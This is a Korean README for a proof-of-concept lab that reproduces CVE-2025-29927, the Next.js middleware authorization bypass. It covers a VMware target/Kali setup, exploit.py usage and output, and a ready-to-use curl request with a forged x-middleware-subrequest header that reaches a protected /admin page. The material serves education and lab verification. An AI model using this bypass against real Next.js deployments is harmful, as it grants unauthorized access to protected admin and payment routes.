
CVE-2025-29927에 대한 개념 증명 익스플로잇으로, Next.js 미들웨어 권한 부여 우회 취약점입니다. 취약한 대상 실습 환경과, 조작된 x-middleware-subrequest 헤더를 전송하여 우회를 검증하는 Python 스크립트가 포함되어 있습니다.
로컬 권한 랩(VMware: Ubuntu 타깃 + Kali 공격 머신)에서 CVE-2025-29927(Next.js 미들웨어 권한 우회)을 검증하기 위한 소형 GitHub 프로젝트입니다.
⚠️ 면책 조항: 본 프로젝트는 보안 교육, CTF 및 사용자가 소유하거나 명시적으로 권한을 부여받은 랩 환경에서만 사용하세요. 승인되지 않은 시스템에 사용하는 것은 엄격히 금지됩니다. 본 프로젝트의 오용으로 인한 결과는 사용자 본인의 책임입니다.
| 항목 | 내용 |
|---|---|
| CVE | CVE-2025-29927 |
| 공개 날짜 | 2025-03-25(Next.js 공식 보안 공지) |
| 영향받는 구성 요소 | Vercel Next.js(Node.js 풀스택 프레임워크) |
| 취약점 유형 | 권한 우회 / 부적절한 권한 부여(CWE-863) |
| 영향받는 버전 | < 12.3.5, < 13.5.9, < 14.2.25, < 15.2.3 |
| 수정 버전 | 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 이상 |
| 위험 등급 | Critical / 고위험(구체적인 점수는 NVD 페이지 기준) |
취약점 공개 이후 대량의 프로덕션 환경의 관리 백엔드, 결제 콜백, 내부 페이지 API가 우회되었으며, Metasploit과 ProjectDiscovery Nuclei 모두 탐지 모듈을 포함했습니다. 2025년 가장 대표적인 '프레임워크 수준 권한 우회' 취약점 중 하나입니다.
Next.js는 '인증 로직'을 middleware(미들웨어) 에 작성할 수 있습니다. 예:
export function middleware(request) {
if (!isLogin(request)) return NextResponse.redirect("/login"); // 미로그인 → 차단
return NextResponse.next();
}
문제는 Next.js 내부적으로 클라이언트가 위조할 수 있는 요청 헤더에 의존하여 '이 요청이 이미 미들웨어를 실행했는지'를 판단한다는 점입니다:
x-middleware-subrequest: middleware
영향받는 버전에서는 외부 요청이 이 내부 헤더를携带하면 Next.js가 미들웨어가 이미 실행되었다고 오인하여
전체 인증 미들웨어가 건너뛰어집니다. 공격자는 계정 없이 이 헤더만携带하여
/admin 등의 보호된 라우트에 접근하면 200으로 바로 도달합니다 — 페이지 자체는 일반적으로 미들웨어를 신뢰하고
이중 검증을 하지 않으므로 권한 검사가 무력화됩니다(신뢰 경계 오류).
💡 공개적으로 가장 널리 사용되는 값은 미들웨어 경로를 반복 연결한 형태입니다. 예:
middleware:middleware:middleware:middleware:middleware; 단일middleware는 일부 버전/디렉터리 구조에서 작동하지 않습니다(본 랩의 14.2.24 실측 결과). 본 PoC는 여러 후보 값을轮询하며, 하나라도 일치하면 우회에 성공합니다.
CVE-2025-29927-PoC/
├── README.md # 본 문서(취약점 설명 + VMware 랩 튜토리얼)
├── LICENSE # MIT
├── .gitignore
├── exploit.py # ★ Python3 순수 표준 라이브러리 검증 PoC(Kali/모든 머신에서 실행)
├── target/ # ★ 자체 구축 취약점 랩(Ubuntu 타깃 머신에 복사)
│ ├── package.json # [email protected] 고정(영향받는 버전)
│ ├── middleware.js # 실제 프로덕션을 모방한 '인증 미들웨어'
│ ├── pages/
│ │ ├── index.js # 홈페이지
│ │ ├── login.js # 로그인 페이지(리다이렉트되는 위치 데모)
│ │ └── admin.js # ★ 보호된 백엔드, 서버에서 flag.txt 읽음
│ ├── flag.txt # 랩 플래그: FLAG{...}
│ ├── setup.sh # 타깃 머신 원클릭 Node 20 설치 + npm install + build
│ └── start.sh # 프로덕션 모드로 0.0.0.0:3000 리슨
└── tests/
└── mock_target.py # Node 없는 모의 타깃(개발 자체 테스트 전용)
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17(호스트: Windows) │
│ 네트워크: NAT(기본 VMnet8), 두 VM 동일 서브넷, 상호 ping 가능 │
│ │
│ ┌──────────────────┐ ┌─────────────────────┐ │
│ │ 타깃 Ubuntu 24.04 │ │ 공격 Kali Linux │ │
│ │ │ http │ │ │
│ │ Node 20 + Next │◄───────│ python3 exploit.py │ │
│ │ 14.2.24 :3000 │ GET │ │ │
│ └──────────────────┘ └─────────────────────┘ │
│ IP: <TARGET_IP> IP: <ATTACKER_IP> │
└───────────────────────────────────────────────────────────┘
| 용도 | 이미지/소프트웨어 | 권장 버전 |
|---|---|---|
| 가상 머신 소프트웨어 | VMware Workstation Pro 17(개인 사용은 무료) | 17.x |
| 타깃 머신 이미지 | Ubuntu Server LTS ISO | 24.04.x |
| 공격 머신 | Kali Linux(공식 VMware 사전 구축 이미지 또는 ISO 설치) | 2025.x |
| (선택 사항) | 호스트 8 GB 이상 메모리, 50 GB 이상 디스크 | — |
아래 단계는 모두 Ubuntu 타깃 머신에서 실행합니다.
# 방법 A: 프로젝트를 자신의 GitHub에 푸시 후 clone(권장, GitHub에 올릴 예정이면 이 방법 사용)
git clone https://github.com/<사용자 이름>/CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC
# 방법 B: 호스트에서 scp로 전송
# scp -r CVE-2025-29927-PoC ubuntu@<TARGET_IP>:~/
cd CVE-2025-29927-PoC/target
sudo bash setup.sh # Node 20(LTS) 설치 + npm install + next build
setup.sh 내부 작업: apt 업데이트 → curl/CA/build 도구 설치 → NodeSource를 통해
Node.js 20 LTS 설치 → npm install([email protected] 등 의존성 다운로드) → npm run build.
bash start.sh
# "▲ Next.js 14.2.24" 및 "Local: http://0.0.0.0:3000" 표시되면 성공
다른 터미널을 열어 로컬 스모크 테스트 먼저 수행:
curl -s http://127.0.0.1:3000 # 홈페이지, 200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# 예상 출력 307 —— 쿠키 없이 middleware가 차단(인증 정상 작동)
curl -s http://127.0.0.1:3000/admin # body는 리다이렉트된 로그인 페이지 내용이어야 함
타깃 머신 방화벽은 기본적으로 인바운드를 차단하지 않음; ufw를 켠 경우:
sudo ufw allow 3000/tcp.
sudo apt update
python3 --version # Kali에 Python3 기본 포함, 추가 의존성 불필요(PoC 순수 표준 라이브러리)
ip -4 addr show # Kali IP 기록(예: 192.168.x.xxx)
exploit.py를 Kali로 가져온 후(같은 저장소 clone 또는 scp 단일 파일), 먼저 두 VM이
통신되는지 확인:
ping <TARGET_IP> # 통신 확인 ↓
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000 # 200 출력되어야 함
Kali 공격 머신에서 실행:
python3 exploit.py -u http://<TARGET_IP>:3000
[1/3] 기준 탐지 GET /admin(특수 헤더 없음)
└─ 상태 코드 307 —— middleware가 정상 차단 ✓(취약점 환경 준비 완료)
[2/3] 우회 시도 x-middleware-subrequest: <후보 값轮询>
└─ 헤더 값='middleware:middleware:middleware:middleware:middleware' 상태 코드 200 —— 우회 성공! 미들웨어 건너뜀 ✓
[3/3] 결과 추출
└─ 백엔드 페이지에서 서버 flag.txt 읽음:
FLAG{cve-2025-29927-lab-ok}
[+] 결론: VULNERABLE —— CVE-2025-29927 권한 우회 검증 통과
핵심 판단: 동일한 URL, 특수 헤더 없이 307 차단, x-middleware-subrequest
携带 시 200으로 백엔드 직접 도달 — 완전한 '인증 미들웨어 우회' 검증 루프.
# ① 기준: 307 반환되어야 함(/login으로 리다이렉트)
curl -i http://<TARGET_IP>:3000/admin | head -n 10
# ② 공격: 200 반환 및 FLAG{...} 포함되어야 함
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
http://<TARGET_IP>:3000/admin | head -n 30
📌 실측 주의: 본 랩(Next 14.2.24 + 루트 디렉터리
middleware.js)에서 5중 값middleware:middleware:middleware:middleware:middleware가 유효하며, 단일middleware는 유효하지 않습니다. curl 수동 테스트 시 위 5중 값을 사용하세요; 불확실하면exploit.py실행(후보 값 자동轮询).
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
[--delay SECONDS] [--insecure] [--verbose]
-u, --url URL 대상 주소, 예: http://192.168.162.10:3000
--path PATH 보호된 경로, 기본 /admin
--timeout SECONDS 단일 요청 타임아웃, 기본 10
--delay SECONDS 요청 헤더 후보 값轮询 간격, 기본 0
--insecure HTTPS 인증서 검증 건너뜀
--verbose 각 후보 헤더의 응답 상태 출력, 디버깅 편의
종료 코드: 0 = 취약점 존재 확인; 1 = 대상 영향 없음/모든 요청 실패; 2 = 파라미터 또는 환경 오류
VMware가 없거나 Node를 먼저 설치하고 싶지 않을 때, 저장소에 포함된 모의 타깃으로 PoC 로직을 먼저 실행할 수 있습니다(호스트에 Python3만 있으면 됨, '307 차단 / 특수 헤더 200' 동작 모방):
# 터미널 1: 모의 타깃 시작(127.0.0.1:8123 리슨)
python3 tests/mock_target.py
# 터미널 2: 검증
python3 exploit.py -u http://127.0.0.1:8123
# VULNERABLE 및 FLAG{mock-bypass-ok} 동일하게 출력되어야 함
주의: 모의기는 스크립트 로직 자체 테스트 전용; 공식 검증은 반드시 5, 6절의 실제 랩에서 수행하세요.